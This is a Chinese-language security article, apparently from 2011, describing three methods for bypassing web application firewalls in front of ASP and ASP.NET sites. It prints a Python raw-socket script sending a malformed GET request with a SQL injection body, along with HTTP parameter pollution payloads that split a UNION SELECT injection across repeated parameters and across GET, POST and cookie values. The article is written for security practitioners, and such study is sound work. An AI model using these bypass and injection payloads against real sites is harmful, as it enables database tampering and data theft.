淺談繞過(guò)WAF的數(shù)種方法
0×00 前言
08年初誕生了一種SQL群注攻擊,黑客在全球范圍內(nèi)對(duì)asp,asp.net加MSSQL架構(gòu)的網(wǎng)站進(jìn)行了瘋狂掃蕩。由于MSSQL支持多語(yǔ)句注入,黑客通過(guò)一條結(jié)合游標(biāo)的SQL語(yǔ)句就能將整個(gè)數(shù)據(jù)庫(kù)的字段內(nèi)容自動(dòng)進(jìn)行篡改,可以在網(wǎng)站上無(wú)差別的進(jìn)行網(wǎng)頁(yè)木馬攻擊。
互聯(lián)網(wǎng)是快速更新迭代的,但是很多沒(méi)有開(kāi)發(fā)能力的單位都是通過(guò)外包建立網(wǎng)站,網(wǎng)站的程序一上線就再也無(wú)人維護(hù),很多程序存在各種漏洞無(wú)法修補(bǔ),于是WAF便有了市場(chǎng),現(xiàn)今門(mén)檻低且最能解決問(wèn)題的是針對(duì)IIS/apache的軟件WAF,通常一個(gè)模塊一個(gè)擴(kuò)展就能搞定,當(dāng)然也有耗資百萬(wàn)千萬(wàn)的硬件WAF,然而如果WAF攔截規(guī)則出現(xiàn)漏洞,這百萬(wàn)千萬(wàn)的硬件也就是一堆廢鐵。那么WAF是否真的可以解決所有的WEB安全問(wèn)題呢?所以本文主要解析一些可以繞過(guò)WAF的罕見(jiàn)漏洞,供安全人員參考。
0×01 Request對(duì)象的包解析漏洞.
asp和asp.net的Request對(duì)象存在一個(gè)包解析漏洞,Request對(duì)象對(duì)于GET和POST包的解析過(guò)于寬松,用一句話表達(dá)就是Request對(duì)象它GET和POST傻傻分不清楚,稍有點(diǎn)web開(kāi)發(fā)經(jīng)驗(yàn)的同學(xué)應(yīng)該知道Request接收GET,POST,COOKIE也就是GPC傳過(guò)來(lái)的數(shù)據(jù),但是asp和.net庫(kù)內(nèi)置的Request對(duì)象完全不按RFC標(biāo)準(zhǔn)來(lái),下面我們可以做個(gè)測(cè)試:
分別將下面兩段代碼保存為1.asp和1.aspx
使用asp的Request對(duì)象接收t參數(shù)傳值
———————————————–
- <%
- Response.Write “Request:” & Request(“t”)
- %>
———————————————–
使用asp.net的Request對(duì)象接收t參數(shù)傳值
———————————————–
- <%@ Page Language=”C#” %>
- <%
- string test = Request["t"];
- Response.Write(“Request:”+test);
- %>
———————————————–
使用下面的python腳本調(diào)用socket發(fā)送原始的HTTP包
———————————————–
- #!/usr/bin/env python
- import socket
- host = ’192.168.239.129′
- path = ‘/1.asp’
- port = 80
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.connect((host, port))
- s.settimeout(8)
- exploit_packet=”t=’/**/or/**/11=1–”
- exploit_packet+=”\r\n” * 8
- packet_length = len(exploit_packet)
- packet=’GET ‘ + path + ‘ HTTP/1.1\r\n’
- packet+=’Host: ‘ + host + ‘\r\n’
- packet+=’Content-Length: %s\r\n’ % packet_length
- packet+=’Content-Type: application/x-www-form-urlencoded\r\n’
- packet+=’\r\n’
- packetpacket = packet + exploit_packet
- print packet
- s.send(packet)
- buf = s.recv(1000)
- if buf: print buf[buf.rfind("\r\n"):]
- s.close()
———————————————–
我們發(fā)送的原始包是:
GET /1.asp HTTP/1.1
Host: 192.168.239.129
Content-Length: 34
Content-Type: application/x-www-form-urlencoded
t=’/**/or/**/1=1–
結(jié)果返回如下:
Request:’/**/or/**/1=1–
將python測(cè)試腳本的path改為/1.aspx測(cè)試頁(yè)返回同樣結(jié)果。
我們可以看到這是一個(gè)畸形的HTTP GET請(qǐng)求包,這個(gè)包的奧秘在于t=’/**/or/**/1=1–參數(shù)后的8個(gè)回車(chē)換行和Content-Length頭,包的結(jié)構(gòu)類(lèi)似于一個(gè)POST包,而請(qǐng)求的方法是GET,最后asp和asp.net的Request對(duì)象成功的解析了這個(gè)畸形包取出了數(shù)據(jù)。
所以如果WAF沒(méi)有處理好HTTP包的內(nèi)容,沿用常規(guī)思路處理GET和POST的邏輯的話,那么這個(gè)畸形包將會(huì)毀掉WAF的基礎(chǔ)防御。
0×02 被遺忘的復(fù)參攻擊.
大家應(yīng)該還記得09年的HTTP Parameter Pollution攻擊,查看[3]文檔,可以發(fā)現(xiàn)ASP/IIS和ASP.NET/IIS的場(chǎng)景下存在一個(gè)復(fù)參特性,本文將利用這種的特性的攻擊簡(jiǎn)稱為復(fù)參攻擊,用0X01里的例子簡(jiǎn)單的測(cè)試一下:
用GET請(qǐng)求傳入兩個(gè)t參數(shù)
GET http://192.168.239.129/1.asp?t=1&t=2
將返回
Request:1, 2
asp和asp.net的Request對(duì)象接收了兩個(gè)參數(shù),并且以逗號(hào)分隔,所以便衍生出了[3]文檔中的復(fù)參SQL注入方法:
- Vulnerable code:
- SQL=”select key from table where id=”+Request.QueryString(“id”)
- This request is successfully performed using the HPP technique:
- /?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users
- The SQL request becomes:
- select key from table where id=1/**/union/*,*/select/*,*/pwd/*,*/from/*,*/usersLavakumarKuppan,
我們可以看到通過(guò)巧妙的運(yùn)用注釋符結(jié)合復(fù)參特性可以分割GET參數(shù)中的SQL注入語(yǔ)句,如果WAF對(duì)GET參數(shù)的處理過(guò)于簡(jiǎn)單是不是會(huì)匹配不到攔截規(guī)則呢?
0×03 高級(jí)復(fù)參攻擊.
ASP.NET的Request對(duì)象有一個(gè)Params屬性,ASP.NET程序員在一些程序中會(huì)使用Request.Params["xxx"]傳入數(shù)據(jù),參考[4]微軟MSDN文檔我們可以知道Params屬性的特性,該屬性接收GET,POST和Cookie的傳值集合,這里我們可以修改0×01里的例子測(cè)試一下:
使用asp.net的Request.Params方法接收t參數(shù)傳值
———————————————–
- <%@ Page Language=”C#” %>
- <%
- string test = Request.Params["t"];
- Response.Write(“Request:”+test);
- %>
———————————————–
發(fā)送一個(gè)POST包,GET,POST,COOKIE三個(gè)方法中都帶有不同的t參數(shù)內(nèi)容
———————————————–
POST http://192.168.239.129/1.aspx?t=1 HTTP/1.1
Host: 192.168.239.129
Cookie: t=2
t=3
———————————————–
結(jié)果返回
Request:1,3,2
最后得出結(jié)論,Request.Params方法接收的數(shù)據(jù)是按照GPC順序整合,看到這里的同學(xué)再聯(lián)想到0×02的復(fù)參攻擊應(yīng)該如醍醐灌頂了,我們可以將SQL攻擊語(yǔ)句拆分到GET,POST,COOKIE三個(gè)變量里進(jìn)行組合攻擊。想一想WAF針對(duì)這種高級(jí)復(fù)參攻擊是否防御好了?
0×04 后話
WAF是不可能解決所有安全問(wèn)題的,本文的思路歸其本源實(shí)際上是描敘了WAF處理HTTP包與服務(wù)端處理HTTP包數(shù)種差異。互聯(lián)網(wǎng)是不斷更新迭代的,差異存在,類(lèi)似的漏洞也會(huì)存在。
本文提到了三種繞過(guò)WAF的思路,第一種是我的原創(chuàng)屬于0DAY狀態(tài),第二種是參考已有的復(fù)參攻擊,其中第三種高級(jí)復(fù)參攻擊是由Safe3同學(xué)提出的,本文也是與Safe3同學(xué)討論他開(kāi)發(fā)的WAF的BUG而來(lái),所以感謝Safe3同學(xué)。
另外請(qǐng)大家不要將本文的內(nèi)容用于非法途徑,僅供安全人員參考,謝謝。
EMail: rayh4c#80sec.com
Site: http://www.80sec.com
Date: 2011-09-06
From: http://www.80sec.com/?p=244
【編輯推薦】